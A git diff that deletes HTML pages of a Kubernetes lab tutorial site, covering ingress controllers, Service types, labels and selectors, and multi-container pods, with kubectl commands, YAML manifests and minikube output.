targetPort and the one connecting the NodePort service to the POD is called port. - - - diff --git a/public/k8s/ingress-controller/index.html b/public/k8s/ingress-controller/index.html deleted file mode 100644 index 749c5c6..0000000 --- a/public/k8s/ingress-controller/index.html +++ /dev/null @@ -1,533 +0,0 @@ - - - - - - - - -Ingress Controller · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Ingress Controller

-
-
- - -

enable ingress addon

-
k8s101 git:(main) ✗ minikube addons enable ingress
-💡  ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub.
-You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS
-💡  After the addon is enabled, please run "minikube tunnel" and your ingress resources would be available at "127.0.0.1"
-    ▪ Using image k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1
-    ▪ Using image k8s.gcr.io/ingress-nginx/controller:v1.2.1
-    ▪ Using image k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1
-🔎  Verifying ingress addon...
-🌟  The 'ingress' addon is enabled
-➜  k8s101 git:(main) ✗ 
-

verify ngnix controller running

-
➜  k8s101 git:(main) ✗ kubectl get pods -n ingress-nginx
-NAME                                        READY   STATUS      RESTARTS   AGE
-ingress-nginx-admission-create-fxzbs        0/1     Completed   0          4m7s
-ingress-nginx-admission-patch-jw98n         0/1     Completed   1          4m7s
-ingress-nginx-controller-5959f988fd-tv8x8   1/1     Running     0          4m7s
-

verify all pods running

-
➜  k8s101 git:(main) ✗ kubectl get pods -n kube-system
-NAME                               READY   STATUS    RESTARTS      AGE
-coredns-565d847f94-bl9qz           1/1     Running   0             12h
-etcd-minikube                      1/1     Running   0             12h
-kube-apiserver-minikube            1/1     Running   0             12h
-kube-controller-manager-minikube   1/1     Running   0             12h
-kube-proxy-qj7s7                   1/1     Running   0             12h
-kube-scheduler-minikube            1/1     Running   0             12h
-storage-provisioner                1/1     Running   2 (12h ago)   12h
-

Deploy Hello World App

-

-➜  k8s101 git:(main) ✗ kubectl create deployment web --image=gcr.io/google-samples/hello-app:1.0
-deployment.apps/web created
-
➜  k8s101 git:(main) ✗ kubectl expose deployment web --type=NodePort --port=8080
-service/web exposed
-
➜  k8s101 git:(main) ✗ kubectl get service web      
-NAME   TYPE       CLUSTER-IP       EXTERNAL-IP   PORT(S)          AGE
-web    NodePort   10.100.132.142   <none>        8080:30646/TCP   41s
-
➜  k8s101 git:(main) ✗ minikube service web --url
-http://127.0.0.1:51575
-❗  Because you are using a Docker driver on darwin, the terminal needs to be open to run it.
-

output

-
Hello, world!
-Version: 1.0.0
-Hostname: web-84fb9498c7-zx2k4
-

Ingress that sends traffic to your Service via hello-world.info.

-
apiVersion: networking.k8s.io/v1
-kind: Ingress
-metadata:
-  name: example-ingress
-  annotations:
-    nginx.ingress.kubernetes.io/rewrite-target: /$1
-spec:
-  rules:
-  - host: hello-world.info
-    http:
-      paths:
-      - path: /
-        pathType: Prefix
-        backend:
-          service:
-            name: web
-            port:
-              number: 8080
-
➜  k8s101 git:(main) ✗ kubectl apply -f example-ingress.yaml
-ingress.networking.k8s.io/example-ingress created
-

verify IP addree

-
➜  k8s101 git:(main) ✗ kubectl get ingress
-NAME              CLASS   HOSTS              ADDRESS        PORTS   AGE
-example-ingress   nginx   hello-world.info   192.168.49.2   80      18m
-➜  k8s101 git:(main) ✗ 
-
➜  k8s101 git:(main)echo "127.0.0.1  hello-world.info" | sudo tee -a /etc/hosts 
-127.0.0.1  hello-world.info
-➜  k8s101 git:(main) ✗ kubectl apply -f example-ingress.yaml                      
-ingress.networking.k8s.io/example-ingress unchanged
-

add path

-
    - path: /v2
-        pathType: Prefix
-        backend:
-          service:
-            name: web2
-            port:
-              number: 8080
-
➜  k8s101 git:(main) ✗ kubectl apply -f example-ingress.yaml           
-ingress.networking.k8s.io/example-ingress configured
-
➜  k8s101 git:(main) ✗ minikube tunnel
-✅  Tunnel successfully started
-
-📌  NOTE: Please do not close this terminal as this process must stay alive for the tunnel to be accessible ...
-
-❗  The service/ingress example-ingress requires privileged ports to be exposed: [80 443]
-🔑  sudo permission will be asked for it.
-🏃  Starting tunnel for service example-ingress.
-

check output

-
http://hello-world.info/
-http://hello-world.info/v2
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/kubernetes-service/index.html b/public/k8s/kubernetes-service/index.html deleted file mode 100644 index f7fdec5..0000000 --- a/public/k8s/kubernetes-service/index.html +++ /dev/null @@ -1,649 +0,0 @@ - - - - - - - - -Kubernetes Service · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Kubernetes Service

-
-
- - -

kubectl explain svc

-
➜  k8s101 git:(main) ✗ kubectl explain svc
-KIND:     Service
-VERSION:  v1
-
-DESCRIPTION:
-     Service is a named abstraction of software service (for example, mysql)
-     consisting of local port (for example 3306) that the proxy listens on, and
-     the selector that determines which pods will answer requests sent through
-     the proxy.
-
-FIELDS:
-   apiVersion   <string>
-     APIVersion defines the versioned schema of this representation of an
-     object. Servers should convert recognized schemas to the latest internal
-     value, and may reject unrecognized values. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
-
-   kind <string>
-     Kind is a string value representing the REST resource this object
-     represents. Servers may infer this from the endpoint the client submits
-     requests to. Cannot be updated. In CamelCase. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
-
-   metadata     <Object>
-     Standard object's metadata. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
-
-   spec <Object>
-     Spec defines the behavior of a service.
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
-
-   status       <Object>
-     Most recently observed status of the service. Populated by the system.
-     Read-only. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
-

Create Kubernetes Service

-

A Kubernetes Service is an object you create to provide a single, stable access point to a set of pods that provide the same service.

-

A service can be backed by more than one pod. When you connect to a service, the connection is passed to one of the backing pods.

-

Add labels to Pod objects and specify the label selector in the Service object. The pods whose labels match the selector are part of the service registered service endpoints.

-
    -
  • The shorthand for services is svc
  • -
-

Understanding different Kubernetes Service Types

-
    -
  • -

    ClusterIP: It is the default type, but it provides internal access only.

    -
  • -
  • -

    NodePort: which allocates a specific node port which needs to be opened on the firewall. That means that by using these node ports, external users, as long as they can reach out to the nodes’ IP addresses, are capable of reaching out to the Service. -

    -
  • -
  • -

    LoadBalancer: currently only implemented in public cloud. So if you’re on Kubernetes in Azure or AWS, you will find a load balancer.

    -
  • -
  • -

    ExternalName: which is a relatively new object that works on DNS names and redirection is happening at the DNS level. -Service without selector: which is used for direct connections based on IP port combinations without an endpoint. And this is useful for connections to a database or between namespaces. -

    -
  • -
-

Using kubectl expose

-

The easiest way to create a service is through kubectl expose

-
kubectl create deployment nginx-lab-1 --image=nginx --replicas=3 --dry-run=client -o yaml > nginx-lab-1.yml
-
----- # modify few sections and following is my final template file to create a new deployment nginx-lab-1 with a label app=dev and 3 replicas.
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: dev
-  name: nginx-lab-1
-spec:
-  replicas: 3
-  selector:
-    matchLabels:
-      app: dev
-  template:
-    metadata:
-      labels:
-        app: dev
-    spec:
-      containers:
-      - image: nginx
-        name: nginx
-
----
-# cat quote for pod
-apiVersion: v1
-kind: Service
-metadata:
-  name: quote
-spec:
-  type: ClusterIP
-  selector:
-    app: quote
-  ports:
-  - name: http
-    port: 80
-    targetPort: 80
-    protocol: TCP
-
➜  k8s101 git:(main) ✗ kubectl create -f nginx-lab-1.yml
-deployment.apps/nginx-lab-1 created
-service/quote created
-

To create the service, you’ll tell Kubernetes to expose the Deployment you created earlier, here port 80 is the default port on which our nginx application would be listening on.

-
➜  k8s101 git:(main) ✗ kubectl expose deployment nginx-lab-1 --type=NodePort --port=80
-service/nginx-lab-1 exposed
-
➜  k8s101 git:(main) ✗ kubectl describe svc nginx-lab-1
-Name:                     nginx-lab-1
-Namespace:                default
-Labels:                   app=dev
-Annotations:              <none>
-Selector:                 app=dev
-Type:                     NodePort
-IP Family Policy:         SingleStack
-IP Families:              IPv4
-IP:                       10.98.242.63
-IPs:                      10.98.242.63
-Port:                     <unset>  80/TCP
-TargetPort:               80/TCP
-NodePort:                 <unset>  31613/TCP
-Endpoints:                172.17.0.13:80,172.17.0.14:80,172.17.0.15:80 + 2 more...
-Session Affinity:         None
-External Traffic Policy:  Cluster
-Events:                   <none>
-
Accessing cluster-internal services
-
    -
  • The ClusterIP services you created in the previous section are accessible only within the cluster, from other pods and from the cluster nodes.
  • -
  • use the kubectl exec command to run a command like curl in an existing pod and get it to connect to the service.
  • -
-

To use the service from a pod, run a shell in the quote-001 -In my case, the quiz service uses cluster IP 10.99.118.40, whereas the quote service uses IP 10.98.242.63

-

Access container outsusteride the clluster

-

Now to access the container externally from the outside network we can use the public IP of individual worker node along with the NodePort

-

curl https://:

-
kubectl get pods -o wide
-

Creating a service through a YAML descriptor

-
[root@controller ~]# cat 2048.yml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: "2048-deployment"
-spec:
-  selector:
-    matchLabels:
-      app: "2048"
-  replicas: 5
-  template:
-    metadata:
-      labels:
-        app: "2048"
-    spec:
-      containers:
-      - image: alexwhen/docker-2048
-        imagePullPolicy: Always
-        name: "2048"
-        ports:
-        - containerPort: 80
-          protocol: TCP
--- ##### Creating a NodePort service
-apiVersion: v1
-kind: Service
-metadata:
-  name: myservice
-  labels:
-    app: servicelabel
-spec:
-  type: NodePort
-  ports:
-  - port: 80
-  selector:
-    app: "2048"
-
kubectl create -f 2048.yml
-
➜  k8s101 git:(main) ✗ kubectl get pods -o wide
-NAME                                   READY   STATUS    RESTARTS   AGE     IP            NODE       NOMINATED NODE   READINESS GATES
-2048-deployment-9ccbf58bd-57tng        1/1     Running   0          50s     172.17.0.12   minikube   <none>           <none>
-2048-deployment-9ccbf58bd-78pnr        1/1     Running   0          50s     172.17.0.14   minikube   <none>           <none>
-2048-deployment-9ccbf58bd-mbfrt        1/1     Running   0          50s     172.17.0.13   minikube   <none>           <none>
-2048-deployment-9ccbf58bd-tfcnd        1/1     Running   0          50s     172.17.0.9    minikube   <none>           <none>
-2048-deployment-9ccbf58bd-trxqw        1/1     Running   0          50s     172.17.0.11   minikube   <none>           <none>
-kube-ops-view-5b596b7c7d-z2p2v         1/1     Running   0          7h37m   172.17.0.17   minikube   <none>           <none>
-kube-ops-view-redis-6dc75f67cd-klhpf   1/1     Running   0          7h37m   172.17.0.16   minikube   <none>           <none>
-lab-nginx-84756b7fc4-4qctt             1/1     Running   0          7h37m   172.17.0.19   minikube   <none>           <none>
-lab-nginx-84756b7fc4-rhg4m             1/1     Running   0          7h37m   172.17.0.18   minikube   <none>           <none>
-label-nginx-example-5f8bc677b9-6trt6   1/1     Running   0          7h37m   172.17.0.20   minikube   <none>           <none>
-my-release-kubeview-f7447cf6c-2w85w    1/1     Running   0          7h37m   172.17.0.21   minikube   <none>           <none>
-nginx-1-ff5997cdf-kpff9                1/1     Running   0          7h37m   172.17.0.7    minikube   <none>           <none>
-nginx-lab-1-84756b7fc4-77kvz           1/1     Running   0          7h37m   172.17.0.8    minikube   <none>           <none>
-nginx-lab-1-84756b7fc4-r9cmt           1/1     Running   0          7h37m   172.17.0.4    minikube   <none>           <none>
-nginx-lab-1-84756b7fc4-sqbf4           1/1     Running   0          7h37m   172.17.0.10   minikube   <none>           <none>
-
➜  k8s101 git:(main) ✗ kubectl get svc
-NAME         TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
-kubernetes   ClusterIP   10.96.0.1       <none>        443/TCP        31m
-myservice    NodePort    10.111.94.141   <none>        80:31487/TCP   2m55s
-
➜  k8s101 git:(main) ✗ kubectl describe service myservice 
-Name:                     myservice
-Namespace:                default
-Labels:                   app=servicelabel
-Annotations:              <none>
-Selector:                 app=2048
-Type:                     NodePort
-IP Family Policy:         SingleStack
-IP Families:              IPv4
-IP:                       10.111.94.141
-IPs:                      10.111.94.141
-Port:                     <unset>  80/TCP
-TargetPort:               80/TCP
-NodePort:                 <unset>  31487/TCP
-Endpoints:                172.17.0.11:80,172.17.0.12:80,172.17.0.13:80 + 2 more...
-Session Affinity:         None
-External Traffic Policy:  Cluster
-Events:                   <none>
-➜  k8s101 git:(main) ✗ 
-
Accessing a NodePort service
-
➜  k8s101 git:(main) ✗ minikube service myservice 
-|-----------|-----------|-------------|---------------------------|
-| NAMESPACE |   NAME    | TARGET PORT |            URL            |
-|-----------|-----------|-------------|---------------------------|
-| default   | myservice |          80 | http://192.168.49.2:31487 |
-|-----------|-----------|-------------|---------------------------|
-🏃  Starting tunnel for service myservice.
-|-----------|-----------|-------------|------------------------|
-| NAMESPACE |   NAME    | TARGET PORT |          URL           |
-|-----------|-----------|-------------|------------------------|
-| default   | myservice |             | http://127.0.0.1:60323 |
-|-----------|-----------|-------------|------------------------|
-🎉  Opening service default/myservice in default browser...
-❗  Because you are using a Docker driver on darwin, the terminal needs to be open to run it.
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/labels-and-selectors/index.html b/public/k8s/labels-and-selectors/index.html deleted file mode 100644 index 22e7cd6..0000000 --- a/public/k8s/labels-and-selectors/index.html +++ /dev/null @@ -1,593 +0,0 @@ - - - - - - - - -Labels and Selectors · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Labels and Selectors

-
-
- - -

Labels - Maps (aka Dictionaries)

-
➜  k8s101 git:(main) ✗ kubectl explain deployment.metadata.labels
-KIND:     Deployment
-VERSION:  apps/v1
-
-FIELD:    labels <map[string]string>
-
-DESCRIPTION:
-     Map of string keys and values that can be used to organize and categorize
-     (scope and select) objects. May match selectors of replication controllers
-     and services. More info: http://kubernetes.io/docs/user-guide/labels
-
    -
  • Labels are attached to Kubernetes objects and are simple key: value pairs or maps(dictionary).
  • -
  • Labels are used to store identifying information about a thing that you might need to query against.
  • -
  • Labels are used for organization and selection of subsets of objects, and can be added to objects at creation time and/or modified at any time during cluster operations.
  • -
  • You will see them on pods, replication controllers, replica sets, services, and so on.
  • -
-
“labels”: {
-“tier”: “frontend”
-env: prod
-}
-

Selectors - Maps (aka Dictionaries)

-
    -
  • Labels are queryable — which makes them especially useful in organizing things
  • -
  • A label selector is a string that identifies which labels you are trying to match
  • -
  • You will see them on pods, replication controllers, replica sets, services, and so on.
  • -
-
tier = frontend
-tier != frontend
-environment in (production, qa)
-

Annotations

-
    -
  • Annotations are bits of useful information you might want to store about a pod (or cluster, node, etc.) that you will not have to query against.
  • -
  • They are also key/value pairs and have the same rules as labels.
  • -
  • Examples of things you might put there are the pager contact, the build date, or a pointer to more information someplace else—like a URL.
  • -
-

Method-1: Assign labels while creating a new object

-
kubectl create deployment label-nginx-example --image=nginx --dry-run=client -oyaml > label-nginx-example.yml
-# clean up the template and add a label app: prod
-
➜ k8s101 git:(main) ✗  cat label-nginx-example.yml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: prod
-  name: label-nginx-example
-spec:
-  replicas: 2
-  selector:
-    matchLabels:
-      app: prod
-  template:
-    metadata:
-      labels:
-        app: prod
-    spec:
-      containers:
-      - image: nginx
-        name: nginx
-
➜  k8s101 git:(main) ✗ kubectl create -f label-nginx-example.yml
-deployment.apps/label-nginx-example created
-
➜  k8s101 git:(main) ✗ kubectl get deployments --show-labels
-
-NAME                  READY   UP-TO-DATE   AVAILABLE   AGE   LABELS
-label-nginx-example   1/1     1            1           23s   app=label-nginx-example
-
➜  k8s101 git:(main) ✗ kubectl get pods --show-labels
-NAME                                  READY   STATUS    RESTARTS   AGE   LABELS
-label-nginx-example-848d6df75-x8bb6   1/1     Running   0          45s   app=label-nginx-example,pod-template-hash=848d6df75
-➜  k8s101 git:(main) ✗ 
-

Assign a new label to existing pod runtime as a patch

-

will assign new label “tier: frontend” to our existing Pods from the deployment label-nginx-example

-
[root@controller ~]# cat update-label.yml
-spec:
-  template:
-    metadata:
-      labels:
-        tier: frontend
-

Next patch the deployment with this YAML file

-
➜  k8s101 git:(main) ✗ kubectl patch deployment label-nginx-example --patch "$(cat update-label.yml)"
-deployment.apps/label-nginx-example patched
-
➜  k8s101 git:(main) ✗ kubectl describe deployment label-nginx-example
-Name:                   label-nginx-example
-Namespace:              default
-CreationTimestamp:      Tue, 07 Mar 2023 05:40:07 +0530
-Labels:                 app=label-nginx-example
-Annotations:            deployment.kubernetes.io/revision: 2
-Selector:               app=label-nginx-example
-Replicas:               1 desired | 1 updated | 1 total | 1 available | 0 unavailable
-StrategyType:           RollingUpdate
-MinReadySeconds:        0
-RollingUpdateStrategy:  25% max unavailable, 25% max surge
-Pod Template:
-  Labels:  app=label-nginx-example
-           tier=frontend
-  Containers:
-   nginx:
-    Image:        nginx
-    Port:         <none>
-    Host Port:    <none>
-    Environment:  <none>
-    Mounts:       <none>
-  Volumes:        <none>
-Conditions:
-  Type           Status  Reason
-  ----           ------  ------
-  Available      True    MinimumReplicasAvailable
-  Progressing    True    NewReplicaSetAvailable
-OldReplicaSets:  <none>
-NewReplicaSet:   label-nginx-example-5f8bc677b9 (1/1 replicas created)
-Events:
-  Type    Reason             Age    From                   Message
-  ----    ------             ----   ----                   -------
-  Normal  ScalingReplicaSet  4m35s  deployment-controller  Scaled up replica set label-nginx-example-848d6df75 to 1
-  Normal  ScalingReplicaSet  74s    deployment-controller  Scaled up replica set label-nginx-example-5f8bc677b9 to 1
-  Normal  ScalingReplicaSet  70s    deployment-controller  Scaled down replica set label-nginx-example-848d6df75 to 0 from 1
-➜  k8s101 git:(main) ✗ 
-
➜  k8s101 git:(main) ✗ kubectl get pods --show-labels
-NAME                                   READY   STATUS    RESTARTS   AGE     LABELS
-label-nginx-example-5f8bc677b9-92lp9   1/1     Running   0          7m31s   app=label-nginx-example,pod-template-hash=5f8bc677b9,tier=frontend
-

Method-3: Assign a new label to existing deployments runtime using kubectl

-

I have another deployment nginx-deploy on my cluster, so I will assign label tier: backend to this deployment:

-
kubectl label deployment nginx-deploy tier=backend
-
-kubectl get deployments --show-labels
-

Using labels to list resource objects

-
kubectl get pods --show-labels
-
-kubectl get deployments --show-labels
-
-kubectl get all --show-labels
-
---- #To list all the deployments using type: dev label:
-kubectl get deployments -l type=dev
-
-kubectl get pods -l app=prod
-

Using Selector to list resource objects

-

I will create another deployment here with two labels and use one of the label as selector:

-
# cat lab-nginx.yml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: dev
-    tier: backend
-  name: lab-nginx
-spec:
-  replicas: 2
-  selector:
-    matchLabels:
-      app: dev
-  template:
-    metadata:
-      labels:
-        app: dev
-    spec:
-      containers:
-      - image: nginx
-        name: nginx
-
➜  k8s101 git:(main) ✗ kubectl create -f lab-nginx.yml
-deployment.apps/lab-nginx created
-
➜  k8s101 git:(main) ✗ kubectl get pods --show-labels
-NAME                                   READY   STATUS    RESTARTS   AGE   LABELS
-lab-nginx-84756b7fc4-8h2jr             1/1     Running   0          31s   app=dev,pod-template-hash=84756b7fc4
-lab-nginx-84756b7fc4-pgxbr             1/1     Running   0          31s   app=dev,pod-template-hash=84756b7fc4
-label-nginx-example-5f8bc677b9-92lp9   1/1     Running   0          14m   app=label-nginx-example,pod-template-hash=5f8bc677b9,tier=frontend
-
➜  k8s101 git:(main) ✗ 
-kubectl get pods --selector "app=dev"
-NAME                         READY   STATUS    RESTARTS   AGE
-lab-nginx-84756b7fc4-8h2jr   1/1     Running   0          5m44s
-lab-nginx-84756b7fc4-pgxbr   1/1     Running   0          5m44s
-➜  k8s101 git:(main) ✗ 
-
➜  k8s101 git:(main) ✗ kubectl get pods -l app=dev
-NAME                         READY   STATUS    RESTARTS   AGE
-lab-nginx-84756b7fc4-8h2jr   1/1     Running   0          6m47s
-lab-nginx-84756b7fc4-pgxbr   1/1     Running   0          6m47s
-
Removing labels
-
kubectl get pods --show-labels
-
-kubectl get deployments --show-labels
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/multi-container-pods/index.html b/public/k8s/multi-container-pods/index.html deleted file mode 100644 index 64a6440..0000000 --- a/public/k8s/multi-container-pods/index.html +++ /dev/null @@ -1,581 +0,0 @@ - - - - - - - - -Multi-Container Pods · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Multi-Container Pods

-
-
- - -
Why does Kubernetes allow more than one container in a Pod
-
    -
  • Containers in a Pod runs on a “logical host”: they use the same network namespace (same IP address and port space), they can use shared volumes
  • -
  • using several containers for an application is simpler to use, more transparent, and allows decoupling software dependencies
  • -
-
Use Cases for Multi-Container Pods
-

The primary purpose of a multi-container Pod is to support co-located, co-managed helper processes for a main program

-

Sidecar containers: -“help” the main container. For example, log or data change watchers, monitoring adapters, and so on. -A log watcher, for example, can be built once by a different team and reused across different applications -Another example of a sidecar container is a file or data loader that generates data for the main container.

-

Communication Between Containers in a Pod

-

Shared volumes: -you can use a shared Kubernetes Volume as a simple and efficient way to share data between containers in a Pod. -Volumes enables data to survive container restarts. It has the same lifetime as a Pod. -it is sufficient to use a directory on the host that is shared with all containers within a Pod

-
    -
  • A standard use case for a multi-container Pod with shared Volume is when one container writes to the shared directory (logs or other files), and the other container reads from the shared directory
  • -
  • The second container uses Debian image and has the shared volume mounted to the directory /html. The second container every second adds current date and time and into index.html that is located in the shared volume.
  • -
  • Nginx servers reads this file and transfers it to the user for each HTTP request to the web server.
  • -
-
apiVersion: v1
-kind: Pod
-metadata:
-  name: mc1
-spec:
-  volumes:
-  - name: html
-    emptyDir: {}
-  containers:
-  - name: 1st
-    image: nginx
-    volumeMounts:
-    - name: html
-      mountPath: /usr/share/nginx/html
-  - name: 2nd
-    image: debian
-    volumeMounts:
-    - name: html
-      mountPath: /html
-    command: ["/bin/sh", "-c"]
-    args:
-      - while true; do
-          date >> /html/index.html;
-          sleep 1;
-        done
-

kubectl apply

-
➜  k8s101 git:(main) ✗ kubectl apply -f mc1.yaml 
-pod/mc1 created
-

exec into mc1 pod 1st container

-
➜  k8s101 git:(main) ✗ kubectl exec mc1 -c 1st -- /bin/cat /usr/share/nginx/html/index.html
-Mon Mar  6 18:30:15 UTC 2023
-Mon Mar  6 18:30:16 UTC 2023
-Mon Mar  6 18:30:17 UTC 2023
-Mon Mar  6 18:30:18 UTC 2023
-Mon Mar  6 18:30:20 UTC 2023
-Mon Mar  6 18:30:21 UTC 2023
-Mon Mar  6 18:30:22 UTC 2023
-Mon Mar  6 18:30:23 UTC 2023
-Mon Mar  6 18:30:24 UTC 2023
-Mon Mar  6 18:30:25 UTC 2023
-Mon Mar  6 18:30:26 UTC 2023
-Mon Mar  6 18:30:27 UTC 2023
-Mon Mar  6 18:30:28 UTC 2023
-Mon Mar  6 18:30:29 UTC 2023
-Mon Mar  6 18:30:30 UTC 2023
-Mon Mar  6 18:30:31 UTC 2023
-Mon Mar  6 18:30:32 UTC 2023
-Mon Mar  6 18:30:33 UTC 2023
-Mon Mar  6 18:30:34 UTC 2023
-Mon Mar  6 18:30:35 UTC 2023
-Mon Mar  6 18:30:36 UTC 2023
-Mon Mar  6 18:30:37 UTC 2023
-Mon Mar  6 18:30:38 UTC 2023
-Mon Mar  6 18:30:39 UTC 2023
-Mon Mar  6 18:30:40 UTC 2023
-Mon Mar  6 18:30:41 UTC 2023
-Mon Mar  6 18:30:42 UTC 2023
-Mon Mar  6 18:30:43 UTC 2023
-Mon Mar  6 18:30:44 UTC 2023
-Mon Mar  6 18:30:45 UTC 2023
-Mon Mar  6 18:30:46 UTC 2023
-Mon Mar  6 18:30:47 UTC 2023
-Mon Mar  6 18:30:48 UTC 2023
-Mon Mar  6 18:30:49 UTC 2023
-Mon Mar  6 18:30:50 UTC 2023
-Mon Mar  6 18:30:51 UTC 2023
-Mon Mar  6 18:30:52 UTC 2023
-Mon Mar  6 18:30:53 UTC 2023
-Mon Mar  6 18:30:54 UTC 2023
-Mon Mar  6 18:30:55 UTC 2023
-Mon Mar  6 18:30:56 UTC 2023
-Mon Mar  6 18:30:57 UTC 2023
-Mon Mar  6 18:30:58 UTC 2023
-Mon Mar  6 18:30:59 UTC 2023
-Mon Mar  6 18:31:00 UTC 2023
-Mon Mar  6 18:31:01 UTC 2023
-Mon Mar  6 18:31:02 UTC 2023
-Mon Mar  6 18:31:03 UTC 2023
-Mon Mar  6 18:31:04 UTC 2023
-Mon Mar  6 18:31:05 UTC 2023
-Mon Mar  6 18:31:06 UTC 2023
-Mon Mar  6 18:31:07 UTC 2023
-Mon Mar  6 18:31:08 UTC 2023
-Mon Mar  6 18:31:09 UTC 2023
-Mon Mar  6 18:31:10 UTC 2023
-Mon Mar  6 18:31:11 UTC 2023
-Mon Mar  6 18:31:12 UTC 2023
-Mon Mar  6 18:31:13 UTC 2023
-Mon Mar  6 18:31:14 UTC 2023
-Mon Mar  6 18:31:15 UTC 2023
-Mon Mar  6 18:31:16 UTC 2023
-Mon Mar  6 18:31:17 UTC 2023
-Mon Mar  6 18:31:18 UTC 2023
-Mon Mar  6 18:31:19 UTC 2023
-Mon Mar  6 18:31:20 UTC 2023
-Mon Mar  6 18:31:21 UTC 2023
-Mon Mar  6 18:31:22 UTC 2023
-Mon Mar  6 18:31:23 UTC 2023
-Mon Mar  6 18:31:24 UTC 2023
-Mon Mar  6 18:31:25 UTC 2023
-Mon Mar  6 18:31:26 UTC 2023
-Mon Mar  6 18:31:27 UTC 2023
-Mon Mar  6 18:31:28 UTC 2023
-Mon Mar  6 18:31:29 UTC 2023
-Mon Mar  6 18:31:30 UTC 2023
-Mon Mar  6 18:31:31 UTC 2023
-Mon Mar  6 18:31:32 UTC 2023
-Mon Mar  6 18:31:33 UTC 2023
-Mon Mar  6 18:31:34 UTC 2023
-Mon Mar  6 18:31:35 UTC 2023
-Mon Mar  6 18:31:36 UTC 2023
-Mon Mar  6 18:31:37 UTC 2023
-Mon Mar  6 18:31:38 UTC 2023
-Mon Mar  6 18:31:39 UTC 2023
-Mon Mar  6 18:31:40 UTC 2023
-Mon Mar  6 18:31:41 UTC 2023
-Mon Mar  6 18:31:42 UTC 2023
-Mon Mar  6 18:31:43 UTC 2023
-Mon Mar  6 18:31:44 UTC 2023
-Mon Mar  6 18:31:45 UTC 2023
-

exec into mc1 pod 3nd container

-
 k8s101 git:(main) ✗  kubectl exec mc1 -c 2nd -i -t -- bash -il
-root@mc1:/# ls
-bin  boot  dev  etc  home  html  lib  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
-root@mc1:/# cd html
-root@mc1:/html# ls
-index.html
-root@mc1:/html# 
-

Kubernetes has three Object Types you should know about:

-
    -
  • -

    Pods - runs one or more closely related containers

    -
  • -
  • -

    Services - sets up networking in a Kubernetes cluster

    -
  • -
  • -

    Deployment - Maintains a set of identical pods, ensuring that they have the correct config and that the right number of them exist.

    -
  • -
-

Pods:

-
    -
  • Runs a single set of containers
  • -
  • Good for one-off dev purposes
  • -
  • Rarely used directly in production
  • -
-

Deployment:

-
    -
  • Runs a set of identical pods
  • -
  • Monitors the state of each pod, updating as necessary
  • -
  • Good for dev
  • -
  • Good for production
  • -
-

Pod templates :

-

Controllers for workload resources create Pods from a pod template and manage those Pods on your behalf.

-

-PodTemplates are specifications for creating Pods, and are included in workload resources such as Deployments, Jobs, and DaemonSets.

-
k8sworkshop git:(main) ✗ kubectl get all
-NAME           READY   STATUS             RESTARTS         AGE
-pod/command3   0/1     CrashLoopBackOff   65 (4m59s ago)   20h
-pod/mc1        2/2     Running            0                77m
-
-NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
-service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   115d
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/overview/index.html b/public/k8s/overview/index.html deleted file mode 100644 index fcbef51..0000000 --- a/public/k8s/overview/index.html +++ /dev/null @@ -1,418 +0,0 @@ - - - - - - - - -Kubernetes · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Kubernetes

-
-
- - -

Table of Content

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TitleLink
1.Pre-requisit for this lablab
2.Basics of Podlab
3.Create POD with Command and Argumentslab
4.Multi-Container Podslab
5.Deployments & replicationlab
6.Labels & Selectorslab
7.Kubernetes Servicelab
8.Service Type: NodePort,ClusterIP,LoadBalancerlab
9.Ingress Controllerlab
10.ConfigMaplab
-

What next »

-

[kubernetes Security] -[helm workshop] -[Service Mesh]

- -
